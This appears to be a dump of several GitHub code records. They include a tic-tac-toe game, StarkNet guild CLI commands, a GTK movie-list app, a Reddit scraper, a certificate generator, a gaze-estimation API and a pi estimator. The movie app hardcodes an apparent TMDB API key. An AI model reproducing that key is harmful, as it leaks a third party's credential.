col_3 = board[2] == board[5] == board[8] != \"-\"\r\n\r\n if col_1 or col_2 or col_3:\r\n game_is_playing = False\r\n\r\n if col_1:\r\n return board[0]\r\n elif col_2:\r\n return board[1]\r\n elif col_3:\r\n return board[5]\r\n\r\ndef check_dia():\r\n global game_is_playing\r\n dia_1 = board[0] == board[4] == board[8] != \"-\"\r\n dia_2 = board[2] == board[4] == board[6] != \"-\"\r\n\r\n\r\n if dia_1 or dia_2:\r\n game_is_playing = False\r\n\r\n if dia_1:\r\n return board[0]\r\n elif dia_2:\r\n return board[4]\r\n\r\ndef check_tie():\r\n global game_is_playing\r\n if \"-\" not in board:\r\n print(\"Match is tied\")\r\n game_is_playing=False\r\n\r\n\r\n\r\ndef play_game():\r\n\r\n while game_is_playing:\r\n display_board()\r\n\r\n handle_turn()\r\n\r\n swap_player()\r\n\r\n check_the_winner()\r\n\r\n check_tie()\r\n\r\n global winner\r\n if winner==\"X\" or winner==\"O\":\r\n print(\"winner is\",winner)\r\n\r\nplay_game()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"SnehaSonavane/TicTacToe","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39713618125","text":"# First, import click dependency\nimport click\n\nfrom nile.core.types.utils import from_call_to_call_array\n\nfrom starkware.starknet.public.abi import get_selector_from_name\nfrom realms_cli.caller_invoker import wrapped_call, wrapped_send\nfrom realms_cli.config import Config, strhex_as_strfelt\n\n\n@click.command()\n@click.argument(\"role\", nargs=1)\n@click.option(\"--address\", default=\"2459554352240017132105304682017261260442353535047744360767061026660492963784\", help=\"Account address in hex format 0x...\")\n@click.option(\"--network\", default=\"goerli\")\ndef whitelist(address, role, network):\n \"\"\"\n Whitelist account to guild\n \"\"\"\n config = Config(nile_network=network)\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_GuildContract\",\n function=\"whitelist_member\",\n arguments=[\n address, # felt\n role # felt\n ],\n )\n\n\n@click.command()\n@click.option(\"--network\", default=\"goerli\")\ndef join_guild(network):\n \"\"\"\n Join guild with whitelisted role.\n \"\"\"\n config = Config(nile_network=network)\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_GuildContract\",\n function=\"join\",\n arguments=[],\n )\n\n\n@click.command()\n@click.option(\"--network\", default=\"goerli\")\ndef set_settle_permission(network):\n \"\"\"\n Set settle permission to the guild\n \"\"\"\n config = Config(nile_network=network)\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_GuildContract\",\n function=\"initialize_permissions\",\n arguments=[\n 2, # felt\n strhex_as_strfelt(config.SETTLING_ADDRESS), # felt\n get_selector_from_name(\"settle\"), # felt\n strhex_as_strfelt(config.REALMS_PROXY_ADDRESS),\n get_selector_from_name(\"setApprovalForAll\")\n ],\n )\n\n\n@click.command()\n@click.option(\"--network\", default=\"goerli\")\ndef approve_realm_guild(network):\n \"\"\"\n Approve Realm transfer to guild\n \"\"\"\n config = Config(nile_network=network)\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_realms\",\n function=\"setApprovalForAll\",\n arguments=[\n int(config.GUILD_PROXY_CONTRACT, 16), # uint1\n \"1\", # true\n ],\n )\n\n\n@click.command()\n@click.argument(\"realm_token_id\", nargs=1)\n@click.option(\"--network\", default=\"goerli\")\ndef deposit_realm_to_guild(realm_token_id, network):\n \"\"\"\n Deposit realm to guild\n \"\"\"\n config = Config(nile_network=network)\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_GuildContract\",\n function=\"deposit\",\n arguments=[\n 1, # felt\n int(config.REALMS_PROXY_ADDRESS, 16), # felt\n realm_token_id, # uint 1\n 0,\n 1, # uint 1\n 0\n ],\n )\n\n\n@click.command()\n@click.argument(\"s_realm_token_id\", nargs=1)\n@click.option(\"--network\", default=\"goerli\")\ndef deposit_s_realm_to_guild(s_realm_token_id, network):\n \"\"\"\n Deposit s realm to guild\n \"\"\"\n config = Config(nile_network=network)\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_GuildContract\",\n function=\"deposit\",\n arguments=[\n 1, # felt\n int(config.S_REALMS_PROXY_ADDRESS, 16), # felt\n s_realm_token_id, # uint 1\n 0,\n 1, # uint 1\n 0\n ],\n )\n\n\n@click.command()\n@click.argument(\"realm_token_id\", nargs=1)\n@click.option(\"--network\", default=\"goerli\")\ndef settle_realm_from_guild(realm_token_id, network):\n \"\"\"\n Settle realm from guild\n \"\"\"\n config = Config(nile_network=network)\n\n calls = [\n (\n int(config.REALMS_PROXY_ADDRESS, 16),\n \"setApprovalForAll\",\n [int(config.SETTLING_ADDRESS, 16), 1]\n ),\n (\n int(config.SETTLING_ADDRESS, 16),\n \"settle\",\n [realm_token_id, 0]\n )\n ]\n\n (call_array, calldata) = from_call_to_call_array(calls)\n\n print(call_array)\n print(calldata)\n\n nonce = wrapped_call(\n network=config.nile_network,\n contract_alias=\"proxy_GuildContract\",\n function=\"get_nonce\",\n arguments=[]\n )\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_GuildContract\",\n function=\"execute_transactions\",\n arguments=[\n len(call_array), *\n [x for t in call_array for x in t], len(calldata), *calldata, 0\n ],\n )\n\n\n@click.command()\n@click.argument(\"realm_token_id\", nargs=1)\n@click.option(\"--network\", default=\"goerli\")\ndef claim_resources_from_guild(realm_token_id, network):\n \"\"\"\n Claim realm resources from guild\n \"\"\"\n config = Config(nile_network=network)\n\n calls = [\n (\n int(config.SETTLING_ADDRESS, 16),\n \"claim_resources\",\n [realm_token_id, 0]\n )\n ]\n\n (call_array, calldata) = from_call_to_call_array(calls)\n\n print(call_array)\n print(calldata)\n\n nonce = wrapped_call(\n network=config.nile_network,\n contract_alias=\"proxy_GuildContract\",\n function=\"get_nonce\",\n arguments=[]\n )\n\n wrapped_send(\n network=config.nile_network,\n signer_alias=config.USER_ALIAS,\n contract_alias=\"proxy_GuildContract\",\n function=\"execute_transactions\",\n arguments=[\n len(call_array), *\n [x for t in call_array for x in t], len(calldata), *calldata, 0\n ],\n )\n","repo_name":"BibliothecaDAO/realms-contracts","sub_path":"realms_cli/realms_cli/player/guilds.py","file_name":"guilds.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"82"} +{"seq_id":"37692483850","text":"# coding=utf-8\r\n\r\nimport gi\r\ngi.require_version('Gtk', '3.0')\r\nfrom gi.repository import Gtk, GObject\r\n\r\nimport io\r\nimport os\r\nimport json\r\nimport http.client\r\nimport locale\r\n\r\n# Ruta del archivo JSON\r\nJSON_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'movies.json')\r\n\r\nclass ListNotFound(Exception):\r\n '''\r\n Excepción cuando se introduce una lista no valida\r\n '''\r\n pass\r\n\r\nclass Movie():\r\n '''\r\n Clase con la película\r\n '''\r\n\r\n # Crear pelicula\r\n def __init__(self, title, year, duration, director, viewed = False):\r\n self.title = title\r\n self.year = year\r\n self.duration = duration\r\n self.director = director\r\n self.viewed = viewed\r\n\r\n # Obtener titulo de una pelicula\r\n def get_title(self):\r\n return self.title\r\n\r\n # Obtener año de una pelicula\r\n def get_year(self):\r\n return self.year\r\n\r\n # Obtener duración de una pelicula\r\n def get_duration(self):\r\n return self.duration\r\n\r\n # Obtener director de una pelicula\r\n def get_director(self):\r\n return self.director\r\n\r\n # Obtener si la película fue vista\r\n def was_viewed(self):\r\n return self.viewed\r\n\r\nclass ModelMovie():\r\n '''\r\n Clase del modelo con la lista de películas\r\n '''\r\n\r\n # Crear ListStore\r\n def __init__(self):\r\n self.listmodel = Gtk.ListStore(str, str, str, str, bool)\r\n self.viewed_filter = self.listmodel.filter_new()\r\n self.viewed_filter.set_visible_func(self.show_viewed)\r\n self.pending_filter = self.listmodel.filter_new()\r\n self.pending_filter.set_visible_func(self.show_pending)\r\n self.rec_list = Gtk.ListStore(str, str)\r\n self.API_KEY = \"319b2a220cae741a5e4195dd7278ad5a\"\r\n\r\n with io.open(JSON_FILE, 'r', encoding='utf-8') as json_fd:\r\n try:\r\n movies = json.load(json_fd)\r\n except ValueError:\r\n movies = []\r\n for i in range(len(movies)):\r\n self.listmodel.append([movies[i][\"title\"], movies[i][\"year\"], movies[i][\"duration\"], movies[i][\"director\"], movies[i][\"viewed\"]])\r\n json_fd.close()\r\n\r\n # Añade a la lista de Recomendaciones\r\n def add_movie_to_rec(self, title, year):\r\n self.rec_list.append([title, year])\r\n return False\r\n\r\n # Buscar id de una pelicula introducida por el titulo\r\n def search_id(self, title, year):\r\n # Valor que se retorna\r\n id = \"\"\r\n\r\n # Conexion con la db\r\n connection = http.client.HTTPSConnection(\"api.themoviedb.org\")\r\n\r\n # Cabeceras\r\n payload = \"{}\"\r\n header = {'content-type': \"application/json\"}\r\n lang = locale.getlocale()[0].replace(\"_\", \"-\")\r\n urltitle = title.replace(\" \", \"%20\")\r\n\n # Se hace una petición\r\n connection.request(\"GET\", \"/3/search/movie?query=\" + urltitle + \"&language=\" + lang + \"&year=\" + year + \"&api_key=\" + self.API_KEY)\r\n # Se obtiene la respuesta\r\n res = connection.getresponse()\r\n data = res.read()\r\n\r\n # Se convierte el JSON en un dict\r\n try:\r\n movies = json.loads(data.decode(\"utf-8\"))\r\n except ValueError:\r\n movies = []\r\n\r\n # Se comprueba que no haya ningún error en el data recibido (si no lo hay, no hay campo status_code)\r\n if \"status_code\" in movies:\r\n # Se ignora la pelicula\r\n pass\r\n else:\r\n # Se recorren los resultados y se meten en la lista\r\n for result in movies[\"results\"]:\r\n if ((result[\"title\"].lower() == title.lower()) or (result[\"original_title\"].lower() == title.lower())) and (result[\"release_date\"][0:4] == year):\r\n id = str(result[\"id\"])\r\n break\r\n\r\n # Cerramos la conexion\r\n connection.close()\r\n\r\n # Devolvemos el ID\r\n return id\r\n\r\n # Obtiene las recomendaciones de una película\r\n def get_recommendations(self, title, year):\r\n # Se obtiene primero el id de la película\r\n movie_id = self.search_id(title, year)\r\n\r\n # Conexion con la db\r\n connection = http.client.HTTPSConnection(\"api.themoviedb.org\")\r\n\r\n # Cabeceras\r\n payload = \"{}\"\r\n header = {'content-type': \"application/json\"}\r\n lang = locale.getlocale()[0].replace(\"_\", \"-\")\r\n\r\n # Se hace una petición\r\n connection.request(\"GET\", \"/3/movie/\" + movie_id + \"/recommendations?language=\" + lang + \"&api_key=\" + self.API_KEY)\r\n # Se obtiene la respuesta\r\n res = connection.getresponse()\r\n data = res.read()\r\n\r\n # Se convierte el JSON en un dict\r\n recommendations = json.loads(data.decode(\"utf-8\"))\r\n\r\n # Se comprueba que no haya ningún error en el data recibido (si no lo hay, no hay campo status_code)\r\n if \"status_code\" in recommendations:\r\n # Se ignora la pelicula\r\n pass\r\n else:\r\n # Se recorren los resultados y se meten en la lista\r\n for result in recommendations[\"results\"]:\r\n GObject.idle_add(self.add_movie_to_rec, result[\"title\"], result[\"release_date\"])\r\n\r\n # Cerramos la conexion\r\n connection.close()\r\n\r\n # Añadir pelicula a la lista\r\n def add_movie(self, movie):\r\n self.listmodel.append([movie.get_title(), movie.get_year(), movie.get_duration(), movie.get_director(), movie.was_viewed()])\r\n\r\n # Eliminar pelicula de la lista\r\n def delete_movie(self, iter, list):\r\n if list == 1:\r\n iter = self.viewed_filter.convert_iter_to_child_iter(iter)\r\n elif list == 2:\r\n iter = self.pending_filter.convert_iter_to_child_iter(iter)\r\n elif list != 0:\r\n raise ListNotFound\r\n\r\n self.listmodel.remove(iter)\r\n\r\n # Reescribe una película de la lista\r\n def set_movie(self, iter, movie, list):\r\n if list == 1:\r\n iter = self.viewed_filter.convert_iter_to_child_iter(iter)\r\n elif list == 2:\r\n iter = self.pending_filter.convert_iter_to_child_iter(iter)\r\n elif list != 0:\r\n raise ListNotFound\r\n\r\n self.listmodel.set_value(iter, 0, movie.get_title())\r\n self.listmodel.set_value(iter, 1, movie.get_year())\r\n self.listmodel.set_value(iter, 2, movie.get_duration())\r\n self.listmodel.set_value(iter, 3, movie.get_director())\r\n\r\n # Cambia una pelicula vista a no vista y viceversa\r\n def change_movie_state(self, iter):\r\n self.listmodel.set_value(iter, 4, not self.was_viewed(iter, 0))\r\n\r\n # Obtener titulo de una pelicula\r\n def get_title(self, iter, list):\r\n if list == 1:\r\n iter = self.viewed_filter.convert_iter_to_child_iter(iter)\r\n elif list == 2:\r\n iter = self.pending_filter.convert_iter_to_child_iter(iter)\r\n elif list != 0:\r\n raise ListNotFound\r\n\r\n return self.listmodel[iter][0]\r\n\r\n # Obtener año de una pelicula\r\n def get_year(self, iter, list):\r\n if list == 1:\r\n iter = self.viewed_filter.convert_iter_to_child_iter(iter)\r\n elif list == 2:\r\n iter = self.pending_filter.convert_iter_to_child_iter(iter)\r\n elif list != 0:\r\n raise ListNotFound\r\n\r\n return self.listmodel[iter][1]\r\n\r\n # Obtener duración de una pelicula\r\n def get_duration(self, iter, list):\r\n if list == 1:\r\n iter = self.viewed_filter.convert_iter_to_child_iter(iter)\r\n elif list == 2:\r\n iter = self.pending_filter.convert_iter_to_child_iter(iter)\r\n elif list != 0:\r\n raise ListNotFound\r\n\r\n return self.listmodel[iter][2]\r\n\r\n # Obtener género de una pelicula\r\n def get_director(self, iter, list):\r\n if list == 1:\r\n iter = self.viewed_filter.convert_iter_to_child_iter(iter)\r\n elif list == 2:\r\n iter = self.pending_filter.convert_iter_to_child_iter(iter)\r\n elif list != 0:\r\n raise ListNotFound\r\n\r\n return self.listmodel[iter][3]\r\n\r\n # Saber si una pelicula se ha visto\r\n def was_viewed(self, iter, list):\r\n if list == 1:\r\n iter = self.viewed_filter.convert_iter_to_child_iter(iter)\r\n elif list == 2:\r\n iter = self.pending_filter.convert_iter_to_child_iter(iter)\r\n elif list != 0:\r\n raise ListNotFound\r\n\r\n return self.listmodel[iter][4]\r\n\r\n # Saber si la lista esta vacia\r\n def is_empty(self, list):\r\n if list == 0:\r\n current_list = self.listmodel\r\n elif list == 1:\r\n current_list = self.viewed_filter\r\n elif list == 2:\r\n current_list = self.pending_filter\r\n\r\n return (len(current_list) == 0)\r\n\r\n # Funcion de filtrado: mostrar solo las peliculas vistas\r\n def show_viewed(self, model, iter, data):\r\n return model[iter][4]\r\n\r\n # Funcion de filtrado: mostrar solo las peliculas no vistas\r\n def show_pending(self, model, iter, data):\r\n return not model[iter][4]\r\n\r\n # Sobreescribe el fichero de películas\r\n def save(self):\r\n # Creamos el diccionario con la listmodel\r\n movies = []\r\n for i in range(len(self.listmodel)):\r\n movies.append({\r\n 'title': self.get_title(i, 0),\r\n 'year': self.get_year(i, 0),\r\n 'duration': self.get_duration(i, 0),\r\n 'director': self.get_director(i, 0),\r\n 'viewed': self.was_viewed(i, 0)\r\n })\r\n\r\n # Guardamos el diccionario como archivo json\r\n with io.open(JSON_FILE, 'w+', encoding='utf8') as json_fd:\r\n json_fd.write(json.dumps(movies, indent=4, sort_keys=True, ensure_ascii=False))\r\n json_fd.flush()\r\n json_fd.close()\r\n","repo_name":"NEKERAFA/Interfaz-Persona-Maquina","sub_path":"P1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70673793870","text":"from math import ceil\r\nminutes = [int(input()) for _ in range(5)]\r\n\r\narr = [(x, x % 10) for x in minutes if x % 10 != 0]\r\nif arr:\r\n x = min(arr, key=lambda x: x[1])\r\n minutes.remove(x[0])\r\n print(sum([ceil(x/10)*10 for x in minutes])+x[0])\r\nelse:\r\n print(sum(minutes))\r\n","repo_name":"FLT4613/Atcoder","sub_path":"atcoder/abc123/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39781871412","text":"from urllib.request import Request, urlopen, urlretrieve\nfrom selenium.webdriver.common.by import By\nfrom dotenv import load_dotenv\nimport os\n\n'''\n- logs into reddit\n- You may have to provide you own info into the keys section\n'''\ndef login(driver):\n load_dotenv()\n driver.get('https://old.reddit.com/login/')\n driver.find_element(By.ID, \"user_login\").send_keys(os.getenv('REDDIT_NAME'))\n driver.find_element(By.ID, \"passwd_login\").send_keys(os.getenv(\"REDDIT_PASSWORD\"))\n driver.find_element(By.XPATH,'//*[@id=\"login-form\"]/div[5]/button').click()\n\n\n'''downloads our file to hard drive and gives it the name of the local index'''\ndef download_img(link, download_path, reddit_id):\n # Theres two diffrent ways that the file can be saved as\n if link[-5] == '.':\n urlretrieve(link, download_path / (str(reddit_id) + link[-5:]))\n\n elif link[-4] == '.':\n urlretrieve(link, download_path / (str(reddit_id) + link[-4:]))\n\n''' for each reddit page this will give us the data we need '''\ndef page_rip(sub, soup, bool_download, download_path ):\n soup.encode(\"utf-8\")\n\n # This will give us all the reddit links we want for some reason they designated it with thing\n tags = soup.find_all(lambda tag: tag.name == \"div\"\n and tag.get(\"class\") is not None\n and \"thing\" in tag.get(\"class\") and \"locked\" not in tag.get(\"class\")\n )\n page_data = list()\n\n for element in tags:\n\n # This is where we get all the data\n # For some reason its hit or miss if reddit includes author / score so we use the get method on these\n page_data.append({\"id\": element[\"class\"][1].replace(\"id-\", \"\"),\n \"sub\": sub,\n \"title\": element.find_all(\"a\")[0].contents[0],\n \"rank\": element[\"data-rank\"], \n \"image_link\": element[\"data-url\"],\n \"permalink\": f\"https://www.old.reddit.com//\" + element[\"data-permalink\"],\n \"score\": element.get(\"data-score\"), \"author\": element.get(\"data-author\"),\n \"time\": element[\"data-timestamp\"], \"nsfw\": element[\"data-nsfw\"]\n })\n\n if bool_download:\n download_img(page_data[-1][\"image_link\"], download_path, page_data[-1][\"id\"])\n\n\n return page_data\n","repo_name":"Caipo/Reddit-Scraper","sub_path":"utils/scrape_func.py","file_name":"scrape_func.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"30514566035","text":"import os.path\nimport uuid\n\nfrom django.contrib.auth.models import User\nfrom PIL import Image, ImageDraw, ImageFont\nimport qrcode\n\nfrom itology.config import CERTIFICATE_PATTERN_PATH, DOWNLOAD_FILE_LINK, REDIRECT_DOWNLOAD_FILE_LINK\nfrom itology.models import Advert, Certificate\n\n\nclass CertificatesGenerator:\n FONT = os.path.join(CERTIFICATE_PATTERN_PATH, 'times-new-roman.ttf')\n CERTIFICATE_TEMPLATE = os.path.join(CERTIFICATE_PATTERN_PATH, 'pattern.png')\n TEXT_Y_POSITION = 350\n QR_CODE_Y_POSITION = 800\n\n @classmethod\n def generate_certificates(cls, advert: Advert):\n participants = advert.get_members()\n for participant in participants:\n pattern = Image.open(cls.CERTIFICATE_TEMPLATE, mode='r')\n pattern = cls._place_nominee_name(participant, pattern)\n certificate_uuid = str(uuid.uuid4())\n pattern = cls._place_download_file_qrcode(participant, advert, pattern, uuid=certificate_uuid)\n cls._convert_to_pdf(pattern, certificate_uuid)\n\n @classmethod\n def _place_nominee_name(cls, participant: User, pattern: Image) -> Image:\n participant_name = f'{participant.first_name} {participant.last_name}'\n drawing = ImageDraw.Draw(pattern)\n font = ImageFont.truetype(cls.FONT, 75)\n text_width, _ = drawing.textsize(participant_name, font=font)\n drawing.text(\n xy=((pattern.width - text_width) / 2 + 75, cls.TEXT_Y_POSITION),\n text=participant_name.upper(),\n fill=(52, 51, 133),\n font=font,\n )\n return pattern\n\n @classmethod\n def _place_download_file_qrcode(cls, participant: User, advert: Advert, pattern: Image, uuid: str) -> Image:\n Certificate.objects.create(uuid=uuid, nominee=participant, advert=advert)\n qr_code = qrcode.make(os.path.join(REDIRECT_DOWNLOAD_FILE_LINK, uuid))\n x, y = qr_code.size\n pattern.paste(qr_code, (1360, 930, x + 1360, y + 930))\n return pattern\n\n @classmethod\n def _convert_to_pdf(cls, file: Image, name: str):\n img = Image.new('RGB', file.size, (255, 255, 255))\n img.paste(file, mask=file.split()[3])\n img.save(os.path.join(DOWNLOAD_FILE_LINK, f'{name}.pdf'))\n","repo_name":"SvetlanaSumets11/itology","sub_path":"itology/certificates/certificates_generator.py","file_name":"certificates_generator.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36080757077","text":"from .gazeEstimator import Gaze, Face\nimport numpy as np\nimport json\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel\n\n\nclass RecogData(BaseModel):\n device_info: int\n Scene_Info: dict\n recog_human: list\n recog_face: list\n\napp = FastAPI()\n\nid2device_conf =json.load(open(\"app/device_info.json\",'r'))\nface = Face()\nestimator = Gaze(calib_file='app/calib_json/jdc_cctv1_watch_v2.calib', input_size=(2592, 1944))\n\n@app.put(\"/gaze/{device_id}/\")\nasync def estimate_gaze_point(device_id:str, data:RecogData):\n\n dev_info = id2device_conf[device_id.upper()]\n calib_file = dev_info[\"calib_file\"]\n img_height = dev_info[\"image_height\"]\n img_width = dev_info[\"image_width\"]\n with open(calib_file, 'r') as f:\n info = json.load(f)\n calib_img_height = info['img_height']\n calib_img_width = info['img_width']\n estimator.set_calib_param(calib_file, calib_img_width, calib_img_height)\n landmark_indices = face.get_landmark_indices()\n recog_data = data.dict()\n gaze_list = []\n for info in recog_data['recog_face']:\n obj_pts = face.get_object_points(info['sex'], int(info['age']))\n\n if 'face_landmark' not in info.keys():\n continue \n \n img_pts = np.array(info['face_landmark'])[landmark_indices]\n # scale image point to the same scale with the image I used to calibrate the camera\n img_pts[:,0]*=(calib_img_width/img_width)\n img_pts[:,1]*=(calib_img_height/img_height)\n gaze, cov = estimator.estimate_gaze_point(obj_pts, img_pts)\n gaze_list.append({\"face_id\":info['face_id'], \"gaze\": gaze.tolist(), \"gaze_cov\":cov.tolist()})\n return {\"device_id\":device_id, \"gaze_info\": gaze_list}\n\n\n\n# if __name__==\"__main__\":\n# root = 'data/scenario2/s2_1_avi_json/*.json'\n# files = sorted(glob(root), key = lambda x: int(os.path.basename(x).split('.')[0]))\n# for file in files:\n# with open(file, 'r') as f:\n# contents=json.load(f)\n# heatmaps = get_gaze_heat_map(contents, factor=100)\n# for heatmap in heatmaps:\n# cv2.imshow('pp',heatmap)\n# cv2.waitKey(0)\n","repo_name":"pajamacoders/gaze_estimation_and_uncertainty_modeling","sub_path":"app/gaze_estimation_api.py","file_name":"gaze_estimation_api.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34201802834","text":"# 다현 풀이\ndef solution(n, m):\n x, y = n, m # x, y에 각각 넣어주고\n while y: # y가 0이 될 때까지\n x, y = y, x%y # x, y에 y, x%y대입\n return x, n*m//x # 이때 x가 최대공약수, 두 수 곱하고 최대공약수로 나눠준 게 최소공배수\n\n'''\n흠.. 역시 최대공약수 최소공배수는 유클리드 호제법만 확실히 알면 편한 것 같다\n'''","repo_name":"danidanicarrotcarrot/algorithm","sub_path":"programmers/level1/연습문제/최대공약수와최소공배수.py","file_name":"최대공약수와최소공배수.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23601543017","text":"import inspect\nimport json\nimport os\nimport sqlite3\n\n\ndef get_database_connection() -> sqlite3.Connection:\n script_path = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n __db_path = os.path.join(script_path, \"mydb.db\")\n return sqlite3.connect(__db_path)\n\n\nconn = get_database_connection()\nconn.execute(\"PRAGMA foreign_keys = ON;\")\ncursor = conn.cursor()\n\n\ndef create_book_table():\n cursor.execute('CREATE TABLE IF NOT EXISTS books (bookID INTEGER PRIMARY KEY, title TEXT, authors TEXT, '\n 'average_rating REAL, isbn INTEGER, isbn13 INTEGER, language_code TEXT, num_pages INTEGER, '\n 'ratings_count INTEGER, text_reviews_count INTEGER, publication_date TEXT, publisher TEXT, '\n 'available INTEGER)')\n conn.commit()\n\n with open('books.json', encoding='utf-8') as f:\n data = json.load(f)\n for book in data:\n cursor.execute(\"INSERT INTO books VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)\", (\n book['bookID'], book['title'], book['authors'], book['average_rating'], book['isbn'], book['isbn13'],\n book['language_code'], book['num_pages'], book['ratings_count'], book['text_reviews_count'],\n book['publication_date'], book['publisher'], 4))\n conn.commit()\n\n\ndef create_user_table():\n cursor.execute('CREATE TABLE IF NOT EXISTS users '\n '(userID INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, password TEXT, full_name TEXT, '\n 'user_type TEXT, department TEXT, class TEXT, fine REAL)')\n conn.commit()\n\n\ndef create_borrowed_books_table():\n cursor.execute('CREATE TABLE IF NOT EXISTS borrowed_books '\n '(borrowID INTEGER PRIMARY KEY AUTOINCREMENT, userID INTEGER, bookID INTEGER, '\n 'borrow_date TEXT, return_date TEXT, status TEXT, '\n 'FOREIGN KEY(userID) REFERENCES users(userID), '\n 'FOREIGN KEY(bookID) REFERENCES books(bookID))')\n conn.commit()\n\n\ndef create_reserved_books_table():\n cursor.execute('CREATE TABLE IF NOT EXISTS reserved_books '\n '(reservationID INTEGER PRIMARY KEY AUTOINCREMENT, userID INTEGER, bookID INTEGER, '\n 'FOREIGN KEY(userID) REFERENCES users(userID), '\n 'FOREIGN KEY(bookID) REFERENCES books(bookID))')\n conn.commit()\n\n\n#create_book_table()\ncreate_user_table()\ncreate_borrowed_books_table()\ncreate_reserved_books_table()\n","repo_name":"glowri/Library-Management-System","sub_path":"Library Management System/initializer.py","file_name":"initializer.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"227898986","text":"import pygame\nimport random\nimport time\nfrom Snake import Snake\nfrom GeneticAgentPlayer import GeneticAgentPlayer\nfrom RLAgentPlayer import RLAgentPlayer\nfrom util import *\nfrom SinglePlayer import SinglePlayer\n\nclass SnakeGame(object):\n def __init__(self, reinforcement_learning = False, use_keras = True, pre_trained = True, population_size = 10):\n self.screen = pygame.display.set_mode(WINDOW_SIZE, pygame.HWSURFACE)\n self.snakes_speed = SPEED\n self.reinforcement_learning = reinforcement_learning\n\n if not self.reinforcement_learning:\n self.player = GeneticAgentPlayer(self.screen, self.snakes_speed, pop_size = population_size)\n else:\n self.player = RLAgentPlayer(self.screen, self.snakes_speed, use_keras, pre_trained)\n\n def game_loop(self):\n return self.player.game_loop()\n\n def gather_data(self, num_data):\n if self.reinforcement_learning:\n self.player.gather_training_data(num_data)\n\n def train_agent(self, gen_num = 20):\n if not self.reinforcement_learning:\n self.player.train_agent(gen_num)\n else:\n self.player.train_agent()\n\n def test_agent(self, dataset_games = \"some number of games\"):\n if self.reinforcement_learning:\n self.player.test_agent(dataset_games)\n else:\n self.player.test_agent(dataset_games)\n","repo_name":"tanvirtin/snake-neural-networks","sub_path":"SnakeGame.py","file_name":"SnakeGame.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"82"} +{"seq_id":"12450855406","text":"\"\"\"\nLinear regression\n\"\"\"\n\n\ndef hypothesis(thetas, input_values):\n \"\"\"\n Multivariate linear regression hypothesis function\n\n h(X) = theta0*x0 + theta1*x1 + ... + thetan*xn\n\n @param coefficients: list, thetas\n @param input: list, x's\n \"\"\"\n n = len(thetas)\n return sum([thetas[i] * input_values[i] for i in xrange(n)])\n\n\ndef cost_derivative(thetas, inputs, outputs):\n \"\"\"\n Derivative of a linear regression cost function to be used in gradient\n descent.\n \"\"\"\n num_variables = len(inputs[0])\n num_inputs = len(inputs)\n new_thetas = [0] * num_variables\n\n for j in xrange(num_variables):\n s = 0\n for i in xrange(num_inputs):\n s += 0.5 * (hypothesis(thetas, inputs[i]) - outputs[i]) * inputs[i][j]\n\n s = s * 1.0/num_inputs\n new_thetas[j] = s\n\n return new_thetas\n","repo_name":"tadasv/ml","sub_path":"old/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"38361659014","text":"#! /usr/bin/python3\n\nimport random\nimport math\n\n\n# Test program\ndef main():\n approx = calculate_pi_approximation(50)\n difference = math.pi - approx\n print(\"Pi approximate value using 50 random points:\\t\\t\" + str(approx) + \"\\t\\tdifference to Python3 math.pi value:\\t\" + str(difference))\n\n approx = calculate_pi_approximation(100)\n difference = math.pi - approx\n print(\"Pi approximate value using 100 random points:\\t\\t\" + str(approx) + \"\\t\\tdifference to Python3 math.pi value:\\t\" + str(difference))\n\n approx = calculate_pi_approximation(1000)\n difference = math.pi - approx\n print(\"Pi approximate value using 1000 random points:\\t\\t\" + str(approx) + \"\\t\\tdifference to Python3 math.pi value:\\t\" + str(difference))\n\n approx = calculate_pi_approximation(10000)\n difference = math.pi - approx\n print(\"Pi approximate value using 10000 random points:\\t\\t\" + str(approx) + \"\\t\\tdifference to Python3 math.pi value:\\t\" + str(difference))\n\n approx = 